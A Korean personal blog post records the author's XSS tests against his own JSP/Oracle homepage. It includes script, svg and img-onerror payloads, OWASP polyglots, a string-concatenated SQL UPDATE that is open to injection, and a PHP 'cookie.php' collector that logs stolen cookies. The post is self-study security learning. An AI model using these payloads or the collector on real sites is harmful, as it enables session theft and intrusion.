XSS와 CSRF를 이용해 내가 만든 홈페이지 해킹하기(2)

Jang Seok Woo·2020년 9월 17일
0
post-thumbnail

XSS와 CSRF를 이용해 내가 만든 홈페이지 해킹하기(2)

개발환경 : Oracle 11g, JSP, Apatch-Tomcat8.5

먼저 입력을 받는 부분은 크게 로그인, 회원가입, 검색, 게시판 글쓰기/수정 부분이다.

로그인 부분은 에러페이지 지정 및 케이스별 경고문구를 띄우는 조치를 해 두었기에 아직 내 실력으로 뭘 어찌 하지 못하겠다

제일 만만한 부분이 글쓰기 부분과 회원가입 부분이었다.

우선 회원가입 부분에 이메일 부분이 varchar(50)으로 테이블이 만들어져 있어서 긴 문자열도 저장이 되었기에 우선 이메일 부분을 공략해 보았다.

이메일 내부 저장되어 있는 값을 띄우는 부분 코딩이다. “> 를 이용해 마감을 한 후 이어서 스크립트 구문을 넣으면 잘 작동할 것 같이 보인다.

“><script>alert(“by script”)</script>

를 넣어 보았다.

그냥 넣으면 입력이 안된다. F12를 눌러 input type=”email” -> input type=“text”로 변경해준다.

성공했다.

어제 사용했던

“><svg onload=alert("XSS")>

를 사용해 보자

별 이상없이 작동한다.

이번엔 게시판의 글 제목과 글쓰기 부분에 시도를 해 보자

jsw@jsw.com”><img src='0' onerror=alert(document.cookie)>

이 입력값을 넣는다고 했을 때,
중간에 작은 따옴표가 들어간 입력값은 작동이 하나도 안되길래 고생을 좀 했는데 이유가

<input type="email" class="form-control" placeholder="이메일" name="userEmail" maxlength="50" value="<%=user.getUserEmail()%>">

이 부분에

String SQL = "UPDATE user_bbs SET userID='" + user.getUserID() + "'"+", userPassword='" + user.getUserPassword() + "'"+", userName='" + user.getUserName() + "'" +", userGender='" + user.getUserGender() + "'"+", userEmail="+ "'" + user.getUserEmail() + "' WHERE userID='"+ user.getUserID() +"'";
userEmail=’jsw@jsw.com”><img src=’

여기까지 입력을 받고 뒤에

0' onerror=alert(document.cookie)>

값이 추가되는 식으로 입력이 되어서 작동하질 않았다.

결국

작은따옴표를 URL encoding하여 %27을 대신 사용하니 잘 되었다.

jsw@jsw.com”><img src=%270%27 onerror=alert(document.cookie)>

쿠키 값은 나오질 않는다. Tomcat 8.5 버전이라 httponly 및 secure 기능을 사용하는 쿠키를 써서 우회법으로 쿠키에 있는 값에 접근이 불가능 하다.

Httponly와 secure를 간단하게 말하자면

  • Secure : SSL 통신채널 연결 시에만 쿠키를 전송하도록 설정
    cookie.setSecure(true);
  • HttpOnly : 자바 스크립트에서 쿠키값을 읽어가지 못하도록 설정
    cookie.setHttpOnly(true);

이 값을 변경해서 쿠키 값을 탈취해 보려고 검색을 수도 없이 해 보았으나 결국 실패 ㅠ

잘 모르겠다. 실험 해 보기 위해 쿠키의 세션 값을 탈취할 수 있는 상태를 만드려고 했는데 되질 않는다..

글 쓰기 부분에서도 똑같이 시도 해 보았다.

위와 같이

<svg onload=alert("XSS")>

도 무리 없이 잘 작동하고

쿠키 값을 가져와 보려고 했으나, 쿠키 값은 위에 설명한 대로 보안 설정이 되어있어 불가능하다.

위와 같이 빈 칸으로 나온다.

혹시 몰라 다른 방식으로 탈취를 해보려 시도했으나

실패했다 ㅠ

url변조 값으로 입력도 해 보았으나 잘 작동하지 않는다.

리눅스에 서버를 깔아두고, 윈도우에 유저로 로그인한 후

다음과 같이 글을 쓰고 나서

ADMIN으로 서버 쪽에서 글을 읽으면, 쿠키가 탈취되도록 apm을 깔아 cookie.php 파일도 만들고

Cookie.php

<?

$cookie=$_GET['data'];
$atime=date("y-m-d H:i:s");
$log=fopen("data.txt","a");
fwrite($log,$atime." ".$cookie."\r\n");
fclose($log);
echo "<img src=\'0\' onerror=alert(\"daniel takes your cookie\")></img>";

?>

이렇게 무리 없이 실행은 되나, 글을 읽은 유저의 시간은 가져지만 쿠키 값은 가져오지 못하더라

끝.

추가 )

POLYGLOTS

XSS 공격에 성공하기 위해서는 XSS에 취약한 부분을 찾고, 그 자리에 공격 코드를 주입하게 되는데요. 단순히 구문으로 성공하기 보다. 앞의 구문을 마무리 하기위해 "> 오른쪽 꺽쇠를 넣어준다던지 아니면 --> 를 써서 주석처리를 해버린다던지 하여서 "> 이런식으로 공격코드를 작성하게 됩니다. 만약에 주입이 되는곳에 어떤 취약점이 있는지 모르는 상황일때, 즉 blind XSS를 해야 할 경우, 여러번의 공격 Request를 서버로 보내서 추측해봐야 합니다. / 도 넣어보고.. "> 도 넣어보고 .. 도넣어보고 이런식으로요.

그런데 이런 작업을 한방에 해줄 수 있는 공격구문이 있는데요. 이걸 Polyglots 라고 부릅니다. 여러번 Request를 하는것보다 한번의 요청으로 하는게 당연히 좋겠죠. 먼저 OWASP 홈피에 나와있는 Polyglots 공격코드를 보겠습니다.

" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//

" onclick=alert(1)//<button %27 onclick=alert(1)//> */ alert(1)//

역시 잘 성공한다.

profile
https://github.com/jsw4215

0개의 댓글